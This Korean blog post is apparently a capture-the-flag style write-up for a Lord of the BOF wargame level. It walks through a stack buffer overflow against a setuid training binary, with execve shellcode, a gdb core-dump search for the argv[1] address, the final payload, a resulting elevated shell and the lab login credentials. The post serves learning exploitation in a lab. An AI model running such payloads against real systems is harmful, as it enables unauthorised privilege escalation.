[해커스쿨 LOB] Level6: Wolfman >> Darkelf
두비니
·2020. 7. 17. 13:13
Level 6. Wolfman >> Darkelf
Theme: Egghunter + Buffer Hunter + check length of argv[1]
로그인!
id: wolfman
pw: love eyuna
bash2 잊지 마시고, 코드 분석해봅시다.
[wolfman@localhost wolfman]$ bash2
[wolfman@localhost wolfman]$ nl darkelf.c
1 /*
2 The Lord of the BOF : The Fellowship of the BOF
3 - darkelf
4 - egghunter + buffer hunter + check length of argv[1]
5 */
6 #include <stdio.h>
7 #include <stdlib.h>
8 extern char **environ;
9 main(int argc, char *argv[])
10 {
11 char buffer[40];
12 int i;
13 if(argc < 2){
14 printf("argv error\n");
15 exit(0);
16 }
17 // egghunter
18 for(i=0; environ[i]; i++)
19 memset(environ[i], 0, strlen(environ[i]));
20 if(argv[1][47] != '\xbf')
21 {
22 printf("stack is still your friend.\n");
23 exit(0);
24 }
25 // check the length of argument
26 if(strlen(argv[1]) > 48){
27 printf("argument is too long!\n");
28 exit(0);
29 }
30 strcpy(buffer, argv[1]);
31 printf("%s\n", buffer);
32 // buffer hunter
33 memset(buffer, 0, 40);
34 }
제한조건 확인합시다.
1. 환경변수 사용 불가능 (egghunter)
2. 버퍼에 입력 불가능 (buffer hunter)
3. argv[1]의 48번째 바이트는 '\xbf'여야 함 (stack is still your friend)
4. argv[1] 길이 48 초과 불가능 (check the length of argument) *new*
보니까 4번이 추가됐는데 이러면 ret뒷공간을 더이상 못쓰는거죠?
근데 저는 이전 문제에서도 argv[1] 자체의 주소를 이용해 풀이를 한 터라 똑같이 진행해주면 되겠네요.
한번 더 설명을 하자면, buffer에 우리가 입력한 값이 복사되는 이유는 strcpy를 통해 argv[1]에서 buffer에 복사되기 때문입니다. 따라서 buffer는 지워진다한들 argv[1]자체에는 우리가 원래 입력했던 값이 남아있고, buffer의 값만 지워지니 ret에 우리가 원하던 주소는 잘 bof가 일어나 있겠죠. 그럼 payload는 다음과 같이 짤 수 있겠네요.
::payload::
python -c 'print "\x90"*19 + "shellcode" + "argv[1]주소"
shellcode
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
argv[1] 주소 구하기
그러면 argv[1]의 주소를 구하는 방법을 생각해봅시다.
gdb로 직접 확인하는 방법도 있지만, 그냥 바로 core를 이용하겠습니다.
core 이용하는법:
(링크추가전)
[wolfman@localhost wolfman]$ ./larkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xbf\xbf\xbf\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒
Segmentation fault (core dumped)
[wolfman@localhost wolfman]$ gdb -q -c core
Core was generated by `./larkelf ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒'.
Program terminated with signal 11, Segmentation fault.
#0 0xbfbfbfbf in ?? ()
(gdb) x/100x $esp
0xbffffaf0: 0x00000000 0xbffffb34 0xbffffb40 0x40013868
0xbffffb00: 0x00000002 0x08048450 0x00000000 0x08048471
0xbffffb10: 0x08048500 0x00000002 0xbffffb34 0x08048390
0xbffffb20: 0x0804864c 0x4000ae60 0xbffffb2c 0x40013e90
0xbffffb30: 0x00000002 0xbffffc34 0xbffffc3e 0x00000000
0xbffffb40: 0xbffffc6f 0xbffffc81 0xbffffc9a 0xbffffcb9
0xbffffb50: 0xbffffcdb 0xbffffce8 0xbffffeab 0xbffffeca
0xbffffb60: 0xbffffee7 0xbffffefc 0xbfffff1b 0xbfffff26
0xbffffb70: 0xbfffff36 0xbfffff3e 0xbfffff48 0xbfffff58
0xbffffb80: 0xbfffff66 0xbfffff74 0xbfffff85 0xbfffff90
0xbffffb90: 0xbfffffa3 0xbfffffe6 0x00000000 0x00000003
0xbffffba0: 0x08048034 0x00000004 0x00000020 0x00000005
0xbffffbb0: 0x00000006 0x00000006 0x00001000 0x00000007
0xbffffbc0: 0x40000000 0x00000008 0x00000000 0x00000009
0xbffffbd0: 0x08048450 0x0000000b 0x000001f9 0x0000000c
0xbffffbe0: 0x000001f9 0x0000000d 0x000001f9 0x0000000e
0xbffffbf0: 0x000001f9 0x00000010 0x0fabfbff 0x0000000f
0xbffffc00: 0xbffffc2f 0x00000000 0x00000000 0x00000000
0xbffffc10: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffffc20: 0x00000000 0x00000000 0x00000000 0x69000000
0xbffffc30: 0x00363836 0x616c2f2e 0x6c656b72 0x90900066
0xbffffc40: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffc50: 0x50c03190 0x732f2f68 0x622f6868 0xe3896e69
---Type <return> to continue, or q <return> to quit---
0xbffffc60: 0xe1895350 0x0bb0c289 0xbfbf80cd 0x0000bfbf
0xbffffc70: 0x00000000 0x00000000 0x00000000 0x00000000
보면 0xbffffc30에서부터 0x90이 시작되는걸로 보아 여기가 argv[1]의 시작점인걸 알 수 있다.
넉넉잡아 0xbffffc40을 리턴주소로 잡자.
그럼 페이로드는 다음과 같다
::payload::
./darkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x40\xfc\xff\xbf"'`
[wolfman@localhost wolfman]$ ./darkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x40\xfc\xff\xbf"'`
▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
̀@▒▒▒
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
bash$ my-pass
euid = 506
kernel crashed
깔끔!
이제 대충 개념도 잡히고 문제풀이도 계속 반복되기때문에 재미가 슬슬 붙을텐데
익숙해진다면 다른 방법도 생각해보는게 좋을 것 같네요.
다음문제부터는 다른 개념을 들고가니 정리 잘 하고 오시길 바랍니다.
다음!
***아니 나 분명히 맞게 했는데 안될 때(Stack is still your friend):https://dokhakdubini.tistory.com/208***
'War Games > 해커스쿨 LOB' 카테고리의 다른 글
[해커스쿨 LOB] Level8: Orge >> Troll (0) | 2020.07.25 |
---|---|
[해커스쿨 LOB] Level7: Darkelf >> Orge (0) | 2020.07.19 |
[해커스쿨 LOB] Level 5: Orc >> Wolfman (0) | 2019.11.06 |
[해커스쿨 LOB] Level4: goblin >> orc (3) | 2019.09.25 |
[해커스쿨 LOB] Level3: cobolt >> goblin (0) | 2019.09.24 |